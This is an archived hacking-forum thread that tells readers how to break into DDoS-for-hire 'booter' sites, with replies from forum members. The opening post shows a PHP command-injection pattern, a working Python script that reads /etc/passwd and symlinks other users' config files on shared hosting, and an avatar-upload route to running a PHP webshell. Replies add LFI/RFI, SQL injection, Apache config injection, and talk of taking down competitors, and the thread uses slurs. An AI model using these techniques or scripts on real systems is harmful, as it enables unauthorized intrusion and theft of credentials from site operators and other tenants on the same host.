+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: How to hack various kinds of booters (/showthread.php?tid=3036473)
How to hack various kinds of booters - Starfall - Nov 20, 2012
DISCLAIMER: I AM NOT RESPONSIBLE FOR ANY HACKING OF BOOTERS DONE BY OTHER MEMBERS.
IF SOMEONE DECIDES TO SPRAY (leak) YOUR BUTTER SAUCE (booter source) ALL OVER THE FORUM, IT'S NOT MY FAULT.
Recently I've noticed a decline in code and hosting quality in many booter sources. In this thread, I'm going to cover some glaring issues I've seen with a lot of booters this past month.
#1. Command injection
Spoiler (Click to View)
This one's really, really deadly. Many sources will take user input without verifying it for fields like POST data or a CSSYN attack and feed it into something like this:
PHP Code
<?php
ssh2_exec($attackserver, "screen -dmS ATK-$user ./ddos params and junk $usersupplieddata");
There are a million million million ways to do this, but I've provided a working example for everyone here.
#2. Shared hosting and symlinks
Spoiler (Click to View)
Many a booter will be hosted on cheap, shared hosting nowadays with a host like Ixam Hosting, who have admittedly cleaned up their act recently. These sorts of hosts cost about $2 (less than the booter!) for an account and don't really enforce many security policies at all. The following Python script will create symlinks to booter config files. You can then read these through Apache or if you're lucky, just simply read them. Syntax: python fuckbooters.py configfile.name tag
If you don't know the location of the conf file, you can find it by reading boot.php or send.php from the booter using the same (admittedly already known) trick. :3
PHP Code
<?php
#!/usr/bin/python
import commands, sys
def symlink(thefile, dest):
passwd = commands.getoutput("cat /etc/passwd|cut -d: -f1,6")
for fucker in passwd.split("\n"):
config = "%s/public_html/%s" % (fucker.split(':')[1], thefile)
fucker = fucker.split(':')[0]
cmd = "ln -s %s %s-%s.txt" % (config,fucker,dest)
print cmd
commands.getoutput(cmd)
symlink(sys.argv[1], sys.argv[2])
#3. Prodigy's old source
Spoiler (Click to View)
This thread from a few months back explains this one well. https://hackforums.net/showthread.php?tid=2737713
A lot of HF members have taken it upon themselves to find even more issues in Prodigy's source, which they kindly posted to the same thread.
#4. The "Custom Source"
Spoiler (Click to View)
Avatar uploads in this source aren't verified at all. You can upload a PHP script as your avatar, then navigate to it. The webserver will happily run it.
If anyone has anything to add, let me know :D
Spoiler (Click to View)
* - RyanC - Nov 20, 2012
Starfall, you are a horrible writer. (Referring to the text in italics)
* - Hycca - Nov 20, 2012
Aww, now this is going to waste. All the script kiddies are going to try to do this now.
* - RyanC - Nov 20, 2012
(Nov 20, 2012 04:12 PM)T1T5 Wrote: Aww, now this is going to waste. All the script kiddies are going to try to do this now.
Are you honestly implying that the skids here will even know how to exploit these?
[0day]Also Apache config injection is a rather fun way to pop shared hosts.[/0day]
* - Starfall - Nov 20, 2012
(Nov 20, 2012 04:12 PM)T1T5 Wrote: Aww, now this is going to waste. All the script kiddies are going to try to do this now.
WORTH IT.
And to Lucky, thanks for pointing it out before anyone malicious got to it. Fixed it last night :3
* - Aeon ‹3 - Nov 20, 2012
I'm disappointed. I was looking for a way to exploit ES.
* - Starfall - Nov 20, 2012
(Nov 20, 2012 04:15 PM)Aeon ‹3 Wrote: I'm disappointed. I was looking for a way to exploit ES.
Have you tried any of it yet? Some of this may apply.
* - Aeon ‹3 - Nov 20, 2012
Oh I assure you, none of these work. I've tried more than just these as well. I don't publish work without making it secure.
* - Abdilo - Nov 20, 2012
I cannot wait to see how many booters get taken down from this
* - Bacardi - Nov 20, 2012
Very interesting thread Starfall. Cool read.
* - Aeon ‹3 - Nov 20, 2012
You should go into detail about RFI and LFI because most booters are exploitable with that as well.
* - Starfall - Nov 20, 2012
(Nov 20, 2012 04:21 PM)Aeon ‹3 Wrote: You should go into detail about RFI and LFI because most booters are exploitable with that as well.Really? They're THAT bad? I've looked into attacking some booters with LFI and never succeeded. If you wanna PM me some details we can write up another section :D
* - Aeon ‹3 - Nov 20, 2012
Well TruBoot was that bad until I fixed most of them for Infinity. Hell I even found some SQL Injections. Messy code was messy.
The fagbooter source that a lot of booters use are exploitable as well.
So is Asylum Booter.
I have yet to attempt absoboot.
* - Starfall - Nov 20, 2012
(Nov 20, 2012 04:24 PM)Aeon ‹3 Wrote: Well TruBoot was that bad until I fixed most of them for Infinity. Hell I even found some SQL Injections. Messy code was messy.
The fagbooter source that a lot of booters use are exploitable as well.
So is Asylum Booter.
I have yet to attempt absoboot.
I'm kinda seeing what you mean with the Rage source... a few XSS, but I haven't found anything earth-shaking yet.
* - Aeon ‹3 - Nov 20, 2012
If it wasn't an offense to exploit every booter that competes with ES and take them down, I would of done it long ago.